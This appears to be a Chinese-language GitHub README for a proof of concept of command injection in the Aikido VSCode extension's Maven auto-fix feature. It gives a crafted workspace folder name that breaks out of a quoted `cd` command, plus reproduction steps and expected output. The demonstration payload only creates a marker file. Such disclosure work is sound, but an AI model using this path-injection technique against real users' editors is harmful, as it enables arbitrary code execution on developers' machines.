aleister1102/aikido-vscode-ext-rce-poc
GitHub: aleister1102/aikido-vscode-ext-rce-poc
展示Aikido VSCode扩展在Maven依赖修复流程中因工作区路径拼接不当导致的命令注入漏洞的PoC。
Stars: 0 | Forks: 0
# aikido-vscode-ext-rce-poc
Aikido VSCode 扩展 Maven 依赖项自动修复流程中的命令注入 PoC。
## 漏洞模式
该扩展构建的 shell 命令如下:
```
cd "" && mvn ...
```
如果工作区路径包含会破坏 shell 解析的字符,将会执行任意命令。
## PoC 工作区文件夹
```
workspace"; touch POC_MARKER; #
```
单个文件名中不允许包含斜杠,因此 payload 不包含斜杠。
## 文件
- `workspace"; touch POC_MARKER; #/pom.xml`:包含已知漏洞依赖项的最小化 Maven 项目,用于触发 SCA 发现。
- `bin/mvn`:无害的垫片程序,用于满足扩展对 `mvn` 的前置条件要求,并使命令路径得以执行。
## 复现步骤
1. 启动 VSCode,并将 PoC 的 `mvn` 垫片程序加入 `PATH`:
```
PATH="$(pwd)/bin:$PATH" code --new-window --folder-uri 'file:///tmp/aikido-vscode-ext-rce-poc/workspace%22%3B%20touch%20POC_MARKER%3B%20%23'
```
2. 在 Aikido 扩展中,运行依赖项扫描。
3. 针对 Maven 问题触发依赖项自动修复。
4. 观察扩展输出,其中包含类似以下的命令:
```
cd "/tmp/aikido-vscode-ext-rce-poc/workspace"; touch POC_MARKER; #" && mvn ...
```
5. 确认标记文件是否存在:
```
ls -l '/tmp/aikido-vscode-ext-rce-poc/workspace"; touch POC_MARKER; #/POC_MARKER'
```
## 预期结果
`touch POC_MARKER` 被执行,因为该路径破坏了带引号的 `cd` 命令结构从而逃逸。
标签:0day漏洞, Aikido安全, CI/CD安全, CISA项目, Cutter, CVE, DevSecOps, DNS 解析, Llama, Maven, PoC, RCE, Shell注入, VSCode扩展, VSCode插件, 上游代理, 代码安全, 依赖扫描, 命令注入, 安全漏洞, 数字签名, 暴力破解, 概念验证, 模型提供商, 漏洞枚举, 漏洞验证, 白盒测试, 路径注入, 输入校验不当